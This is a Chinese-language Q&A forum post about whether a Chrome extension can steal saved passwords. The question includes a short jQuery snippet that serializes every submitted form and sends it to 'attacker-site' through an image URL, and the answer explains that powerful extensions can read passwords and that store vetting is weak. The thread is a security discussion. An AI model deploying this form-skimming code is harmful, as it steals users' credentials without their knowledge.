我在这样的本地环境中进行了测试。
假设我有一个保存的用户名-X站点上的密码。
制作一个具有这样背景的Chrome扩展程序
在background.js中:
$(document).on('submit','form',function(){
$("img.logo").attr("src","https://attacker-site/logo.png?data=" + $(this).serialize());
});
用户打开X站点后,然后使用保存的密码登录。使用设置新图像的源可以绕开CORS,我将获得所有表单提交的数据,包括保存的密码。
那么,这是否是安全漏洞-因为很难将此Chrome扩展程序交付给普通用户? (例如:Chrome商店在发布新扩展程序之前会非常仔细地进行验证。)
最佳答案
一些扩展功能强大,可以在页面上运行任意JavaScript。用户安装扩展时,扩展会要求此权限。
原则上,扩展程序可以窃取您的所有浏览信息,打开和查询任意页面以及在提交表单时读取密码。
他们还可以在Facebook上与您的所有朋友成为好友,通过电子邮件将马的图片发送给您的大家庭,并向您的老板发送眨眼的笑脸。
Chrome商店无法很好地验证扩展-在实践中,诸如“ image resizer”之类的扩展可以愉快地挖掘加密货币或将信息发送到其服务器(这种情况已经发生),甚至还有一家企业可以购买在用户上运行代码的能力使用扩展程序的计算机。
我认为Chrome的政策基于用户是成年人的假设,并且可以选择要安装的扩展程序。那好吧。